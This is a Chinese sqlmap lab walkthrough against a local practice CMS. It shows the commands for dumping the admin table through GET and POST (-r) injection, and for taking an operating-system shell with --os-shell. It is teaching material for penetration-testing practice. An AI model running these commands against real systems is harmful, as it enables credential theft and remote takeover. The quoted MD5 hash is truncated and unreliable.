sqlmap基础实战
sqlMap参数速查
参数 | 含义 |
---|---|
-u | 检测注入点 |
–dbs | 列出所有的库名 |
–current-user | 当前连接数据库用户的名字 |
–current-db | 当前数据库的名字 |
-D “cms” –tables | 指定目标数据库为cms 列出数据库中所有的表名 |
-T “cms_users” | 指定目标表名为’cms_users’ |
–columns -C ‘username,password’ | 列出所有的字段名 指定目标字段 |
–dump -r | 列出字段内容 从文件中读取HTTP 请求 |
–os-shell | 在特定情况下,可以直接获得目标系统Shell |
–level 3 | 设置sqlmap 检测等级 3 |
–cookie=”username=admin” | 携带Cookie 信息进行注入 |
-g –batch | 利用google 搜索引擎自动搜索注入点 使用默认选项 |
–random-agent | 使用随机User-Agent 信息 |
-v 3 | 显示payload |
靶场地址
php环境:phpstudy20261103.exe
靶场:cms
领取地址:链接:https://pan.baidu.com/s/1OeEMML4GRCsbC4LpQK9KoA?pwd=jap0
提取码:jap0
获得网站后台管理员密码
利用sqlmap注入得到网站后台管理员账密
查找当前网站的数据库
python3 sqlmap -u "http://10.9.75.168/cms/cms/show.php?id=33" --dbs
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6TtOpOXv-1692887656050)(https://gitee.com/yuan_boss/yuanboss-pic-bed/raw/master/img2/image-20230824171820918.png)]
查找当前数据库
python3 sqlmap -u "http://10.9.75.168/cms/cms/show.php?id=33" --current-db
查找cms中的表
python3 sqlmap -u "http://10.9.75.168/cms/cms/show.php?id=33" -D "cms" --tables
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zVgfIczH-1692887656051)(https://gitee.com/yuan_boss/yuanboss-pic-bed/raw/master/img2/image-20230824172345144.png)]
查找cms_users表中的字段
python3 sqlmap -u "http://10.9.75.168/cms/cms/show.php?id=33" -D "cms" -T "cms_users" --columns
获得管理员密码
python3 sqlmap -u "http://10.9.75.168/cms/cms/show.php?id=33" -D "cms" -T "cms_users" -C "username,password" --dump
md5解密
密文:e10adc3949ba59abbe56e057f2
post注入
post注入,登录框
来到这个界面,经过尝试密码登录之后,发现是post请求,所以需要使用BP抓包
这是抓到的包:
POST /cms/cms/admin/login.action.php HTTP/1.1
Host: 10.9.75.168
Content-Length: 51
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.9.75.168
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.9.75.168/cms/cms/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: username=admin; HFS_SID_=0.912836692063138; PHPSESSID=a71e5r7upv1jm86jc01kvaius2
Connection: close
username=admin&image.x=55&image.y=19&password=admin
在kali中创建post.txt,然后将这个包放入post.txt中
通过sqlmap的-r参数进行post注入
查找当前数据库
python3 sqlmap -r /tmp/post.txt --current-db
查找cms中的表
python3 sqlmap -r /tmp/post.txt -D "cms" --tables
查找cms_users表中的字段
python3 sqlmap -r /tmp/post.txt -D "cms" -T "cms_users" --columns
获得管理员密码
python3 sqlmap -r /tmp/post.txt -D "cms" -T "cms_users" -C "username,password" --dump
md5解密
密文:e10adc3949ba59abbe56e057f2
sqlmap getshell
使用sqlmap的os-shell进行getShell需要满足以下条件:
①知道网站的物理路径。
②网站路径具有写入的权限。
③sqlmap能够跑出数据库。
os-shell
python3 sqlmap -u "http://10.9.75.168/cms/cms/show.php?id=33" --os-shell
选择服务器语言为php
假设已知网站根目录,选择第2个,自定义路径
输入网址根目录的绝对路径
G:/SOFT/netSecurity/soft/phpstudy2016/phstudy2016-zc/WWW
获得os-shell
执行命令
看上面结果可知,我们成功执行了CMD命令。
注意:如果执行cmd命令显示发生内部错误,大概率是php版本问题,我这里的php版本是5.5